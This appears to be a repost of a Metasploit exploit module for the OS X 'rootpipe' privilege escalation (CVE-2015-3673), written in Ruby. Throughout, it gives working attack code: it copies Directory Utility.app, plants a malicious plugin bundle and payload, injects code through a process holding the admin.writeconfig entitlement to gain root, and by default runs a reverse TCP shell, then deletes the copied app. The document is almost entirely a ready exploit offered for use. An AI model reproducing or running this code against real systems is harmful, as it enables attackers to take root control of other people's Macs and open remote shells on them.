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Apple OS X Entitlements Rootpipe Privilege Escalation

Posted on 29 August 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

 Rank = GreatRanking

 include Msf::Post::OSX::System
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
 'Description' => %q{
 This module exploits the rootpipe vulnerability and bypasses Apple's initial
 fix for the issue by injecting code into a process with the 'admin.writeconfig'
 entitlement.
 },
 'Author' => [
 'Emil Kvarnhammar', # Vulnerability discovery and PoC
 'joev' # Copy/paste monkey
 ],
 'References' => [
 ['CVE', '2015-3673'],
 ['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
 ],
 'DisclosureDate' => 'Jul 1 2015',
 'License' => MSF_LICENSE,
 'Platform' => 'osx',
 'Arch' => ARCH_X86_64,
 'SessionTypes' => ['shell'],
 'Privileged' => true,
 'Targets' => [
 ['Mac OS X 10.9-10.10.3', {}]
 ],
 'DefaultTarget' => 0,
 'DefaultOptions' => {
 'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
 'PrependSetreuid' => true
 }
 ))

 register_options([
 OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
 ])
 end

 def check
 if ver? && admin?
 vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
 return Exploit::CheckCode::Vulnerable
 else
 return Exploit::CheckCode::Safe
 end
 end

 def exploit
 print_status("Copying Directory Utility.app to #{new_app}")
 cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
 cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")

 print_status("Writing bundle plist to `#{plist_file}'")
 write_file(plist_file, plist)

 print_status("Writing payload to `#{payload_file}'")
 write_file(payload_file, binary_payload)
 register_file_for_cleanup(payload_file)

 print_status("Writing malicious shared library to `#{exploit_file}'")
 write_file(exploit_file, plugin_exploit)

 print_status("Running Directory Utility.app")
 cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\ Utility'")

 print_status("Deleting Directory Utility.app")
 cmd_exec('rm -Rf "#{new_app}"')

 print_status('Executing payload...')
 cmd_exec("/bin/sh -c '#{root_file} &'")
 end

 def ver?
 Gem::Version.new(get_sysinfo['ProductVersion']).between?(
 Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
 )
 end

 def admin?
 cmd_exec('groups | grep -wq admin && echo true') == 'true'
 end

 def sploit
 "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
 end

 def plugin_exploit
 File.read(File.join(
 Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
 ))
 end

 def binary_payload
 Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
 end

 def exploit_file
 "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
 end

 def plist_file
 "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
 end

 def new_app
 @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
 end

 def plist
 %Q|
 <?xml version="1.0" encoding="UTF-8"?>
 <plist version="1.0">
 <dict>
 <key>CFBundleGetInfoString</key>
 <string>RootpipeBundle</string>
 <key>CFBundleExecutable</key>
 <string>RootpipeBundle</string>
 <key>CFBundleIdentifier</key>
 <string>com.root.pipe</string>
 <key>CFBundleName</key>
 <string>RootpipeBundle</string>
 <key>CFBundleShortVersionString</key>
 <string>0.01</string>
 <key>CFBundleInfoDictionaryVersion</key>
 <string>6.0</string>
 <key>CFBundlePackageType</key>
 <string>APPL</string>
 <key>IFMajorVersion</key>
 <integer>0</integer>
 <key>IFMinorVersion</key>
 <integer>1</integer>
 </dict>
 </plist>
 |
 end

 def payload_file
 @payload_file ||=
 "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
 end

 def root_file
 @root_file ||=
 "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
 end

end

 

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